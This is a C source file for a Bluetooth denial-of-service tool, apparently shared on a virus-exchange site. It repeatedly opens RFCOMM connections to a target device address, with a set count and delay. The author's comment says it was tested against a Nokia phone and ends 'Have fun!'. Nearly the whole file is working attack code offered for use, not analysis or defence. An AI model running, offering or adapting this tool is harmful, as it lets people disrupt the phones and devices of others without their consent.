/* A simple tool to make DoS against bluetooth devices. 
   Compile it so: gcc BlueDos.c -o BlueDos -lbluetooth
   I have test this proggy against my nokia n70 and it seems to work.
   Have fun!
   Contact me at wargame89@yahoo.it or visit: http://vx.netlux.org/wargamevx
*/

#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>
#include <sys/socket.h>

/* make the real connection */
int BlueConnect(bdaddr_t *dst,short channel)
{
  struct sockaddr_rc remote_addr, local_addr;
  int sock;

  if ((sock = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM)) < 0) 
  {
    printf("Error creating the bluetooth socket!\n");
    return 0;  
  }

  memset(&local_addr, 0, sizeof(local_addr));
  local_addr.rc_family = AF_BLUETOOTH;
  bacpy(&local_addr.rc_bdaddr, BDADDR_ANY); 
  
  if (bind(sock, (struct sockaddr *)&local_addr, sizeof(local_addr)) < 0) 
  {
    printf("Error binding!\n"); 
    close(sock);
    return 0;
  }

  memset(&remote_addr, 0, sizeof(remote_addr));
  remote_addr.rc_family = AF_BLUETOOTH;
  bacpy(&remote_addr.rc_bdaddr, dst);
  remote_addr.rc_channel = channel;

  if (connect(sock, (struct sockaddr *)&remote_addr, sizeof(remote_addr)) < 0) 
  {
    printf("Error connecting!\n");
          /* Do not return */
  }

  else
  {
    printf("[* Done]\n");
  }
  
  close(sock); /* close the socket */
  
}

int main(int argc,char *argv[])
{
  int dos_cnt,it;
  bdaddr_t dst;
  short channel = 1;

  if(argc < 4)
  {
    printf("Usage: %s <bt_addr> <conn_num> <sec_sleep> <channel (optional, default = 1)>\n",argv[0]);
    return 0;
  }

  str2ba(argv[1],&dst);
  dos_cnt = abs(atoi(argv[2]));
  it = abs(atoi(argv[3]));

  if(argv[4] != NULL)
  {
    channel = abs(atoi(argv[4]));
  }

  printf("[bt_addr = %s,conn_num = %d,sec_sleep = %d,channel = %d]\n",argv[1],dos_cnt,it,channel);

  for(;dos_cnt > 0;dos_cnt--)
  {
    BlueConnect(&dst,channel);
    sleep(it);  
  }

  return 1;
}